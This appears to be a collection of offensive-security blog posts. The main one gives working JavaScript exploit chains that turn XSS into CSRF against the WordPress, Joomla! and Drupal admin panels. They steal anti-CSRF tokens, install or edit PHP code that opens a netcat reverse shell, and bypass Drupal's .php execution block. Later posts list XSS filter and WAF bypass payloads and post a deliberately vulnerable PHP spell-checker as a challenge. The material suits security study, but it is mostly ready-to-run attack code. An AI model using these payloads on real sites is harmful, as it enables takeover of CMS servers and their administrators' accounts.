Compromising CMSes with XSS

CMSes (Content Management Systems) are a perfect target for XSS attacks: with their module installation features and the possibility to know all the requests done by a legit administrator of the system previously, it’s pretty easy to mount a CSRF (Cross-Site Request Forgery) attack against him/her.

By taking the anti-CSRF token/nonce and doing the subsequent requests in behalf of an administrator,

Which can lead to full compromising.

PoCs for the 3 most used CMSes worldwide are below in their latest version until date. In all of them, we set a listener with netcat on port 5855 and use PHP code to execute another netcat instance connecting back to us (reverse shell). If you want or need a different PoC, just change it accordingly (variable “s” in WP’s js code, file “jml.php” in Joomla! and file “dp/dp.php5” in Drupal).

WordPress 4.7.5

For latest WP, code is very straightforward: we first get the nonce by parsing 1st XHR response and then submit it in edition of the plugin “Hello Dolly”, which comes with WordPress. Another plugin can be used, it’s just a matter of fingerprinting the target.

p = '/wordpress/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`nc localhost 5855 -e /bin/bash`;';

a = new XMLHttpRequest();
a.open('GET', p+q, 0);
a.send();

$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&' + q;

b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);

b.onreadystatechange = function(){
   if (this.readyState == 4) {
      fetch('/wordpress/wp-content/plugins/hello.php');
   }
}

Save it as a js file (like “wp-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or emulate it by typing directly in browser console, being logged in as an administrator.

Joomla! 3.7.2

Procedure for Joomla! is a little bit different: we can install a remote module. For this we need a zip file, which needs to contain the following 2 files:

1. jml.xml

<?xml version="1.0" encoding="utf-8"?>
<extension type="module" method="upgrade">
   <files>
      <filename>jml.xml</filename>
      <filename module="jml">jml.php</filename>
   </files>
</extension>

2. jml.php

<?=system('nc localhost 5855 -e /bin/bash');

With that zip file ready, host it and use the following js file changing the “u” variable accordingly:

p = '/joomla/administrator/index.php?';
q = 'option=com_installer&view=install';
u = 'http://localhost/exploits/jml.zip';

a = new XMLHttpRequest();
a.open('GET', p, 0);
a.send();

$ = 'install_directory=/var/www/html/joomla/tmp&install_url=' + 
u + &installtype=url&task=install.install&' +
/[a-zA-Z0-9]{32}=1/.exec(a.responseText);

b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){
   if (this.readyState == 4) {
      fetch('/joomla/modules/jml/jml.php');
   }
}

Save it as a js file (like “jml-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or emulate it by typing directly in browser console, being logged in as an administrator.

Drupal 8.3.2

Drupal is the most complicated of all 3: besides needing the default grab-token-and-submit procedure, exploitation also needs the hosting of a zip or tar.gz file (we choose the latter) and the loading of several js scripts in order to complete the process (?). Thankfully, we only need to add an extra step by grabbing an URL in the 2nd XHR response, editing it a little bit and then loading it within an iframe.

For the tar.gz file we need to create a “dp” folder with these 2 files:

1. dp/dp.info.yml

name: x
type: module
core: 8.x

2. dp/dp.php5

<?=system('nc localhost 5855 -e /bin/bash');

Yes, you’re seeing it right. The PHP file needs the .php5 extension or it won’t work. Drupal forbids the execution of a .php file with a 403 status code response when requesting it later but by using php5 we bypass that. 😉

With that tar.gz file ready, host it and use the following js file changing the “u” variable accordingly:

p = '/drupal/admin/modules/install';
u = 'http://localhost/exploits/dp.tar.gz';

a = new XMLHttpRequest();
a.open('GET', p, 0);
a.send();

$ = 'project_url=' + u + '&form_token=' +
/form_token" value="([^"]*?)"/.exec(a.responseText)[1] + '&form_id=update_manager_install_form';

b = new XMLHttpRequest();
b.open('POST', p, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);

b.onreadystatechange = function() {
   if (this.readyState == 4) {
      o = /URL=([^"]*?)"/.exec(b.responseText)[1].replace(/amp;/g, "");
      i = document.createElement('iframe');
      i.setAttribute = ('style', 'visibility:none');
      i.src = o.replace("do_nojs", "start");
      document.body.appendChild(i);
      setTimeout(function(){fetch('/drupal/modules/dp/dp.php5')}, 1000);
   }
}

Save it as a js file (like “dp-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or by emulate it by typing directly in browser console, being logged in as an administrator.

That’s it. Here is a fast-paced video showing all 3 exploits above working!

#hack2learn

Alternative to Javascript Pseudo-Protocol

Browsers accept “javascript:” in their address bar as a way to execute javascript code, which makes it a pseudo-protocol instead of a real one like “http:”, for example. It can be used in the same way as an URL when calling an external resource. Example:

<a href=javascript:alert(1)>

Contrary to Data URI scheme (“data:”), the javascript one executes in same context of the actual page, being very useful in open redirect vulnerabilities and in some XSS vectors. But it’s as useful as easy to be detected and blocked by a filter or WAF.

In fact, we can use mixed case and encode it with HTML entities (see an easy-to-use list here) like:

Javas&#99;ript:alert(1)

(URL-encoded form)
Javas%26%2399;ript:alert(1)

But it’s still easy to flag.

Here is another way to pass a filter that is blocking “javascript:”. Let’s consider we have the following XSS vector:

<iframe src=javascript:alert(1)>

In a generic URL like this:

http(s)://host/page?p=XSS

Where “host” is an IP address or domain, “page” is the vulnerable page and “p” is the vulnerable parameter.

In order to bypass filtering of all forms of “javascript:” we call the same vulnerable URL again with another vector (<svg onload>), this time double URL encoded:

This also respects “X-Frame-Options: SAMEORIGIN” HTTP security header, because it calls itself. Notice that we double encoded key points of the second vector, to avoid regex for event handlers based in “on” plus something and equal sign.

A live example is here (open it in Firefox).

Other XSS vectors that work with “javascript:” also work with this self-calling method. Good examples are:

<object data=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>

<embed src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>

See this cheat sheet for more vectors.

There’s also a variation using HTML entities, which although we are considering them being blocked by filter/WAF, can be used in a slightly different way:

<iframe src=?p=%26lt;svg/o%256Eload%26equals;alert(1)%26gt;>

Assuming that filtering only for the HTML entities suitable for “javascript:” are in place.

#hack2learn

XSS Filter Bypass With Spell Checking

Some sites offer spell checking as a feature of their search functionality or translation application. While this might be a good idea from an user perspective, it can also be a bad idea for one who is trying to avoid XSS in his/her code. For example, this page can be XSSed in several different ways but there’s one particularly elegant and applicable to other similar scenarios as well.

Here is its source code. Notice there’s a basic filtering, after developer got a “but report”. 🙂

<!DOCTYPE html>
<body>
<h3>Spell Checker</h3>
<form action="" method="POST">
<input type="text" name="q">
<input type="submit">
</form>
<br>
<?php
$q = $_REQUEST["q"];
if ($q) {

   // ==============================================================
   // XSS Fix after a Bug Report!

   $q = preg_replace("/<script.*|javascript.*/i", "[FILTERED]", $q);

   // ==============================================================

   $keywords = explode(" ", $q);
   $pspell_link = pspell_new("en");
   echo "Did you mean: <i>";

   foreach ($keywords as $keyword) {

      if (!pspell_check($pspell_link, $keyword)) {
         $suggestions = pspell_suggest($pspell_link, $keyword);
         echo preg_replace("/[a-zA-Z]+/", $suggestions[0], $keyword) . " ";
      } else {
         echo "$keyword ";
      }
   }
   echo "</i> ?\n";
}
?>
</body>
</html>

Knowing that only “<script” and “javascript” (case insensitive) are filtered, can you XSS it? Don’t think it’s that easy because what’s reflected in source code is not your input but the suggestion of your input. For the record, that PHP code is based on this one from official PHP website.

Play with it and see how it behaves. It will be funny to see how your attempts will get messed so share with your friends and followers!

Didn’t find a solution or just want to see a XSS tool finding it? Check KNOXSS – XSS Discovery Service. For Pro users there’s a native payload for it but if you don’t have a plan yet there’s an easter egg (!) in demo so anyone can see it. Just register for free and feed it with the GET based URL: http://brutelogic.com.br/spell/?q=1

It works even in Google Chrome but Firefox is suggested. Although Standard version can’t find this one, users of this plan can also access KNOXSS demo interface (logged in) to see it in action.

Have fun!

#hack2learn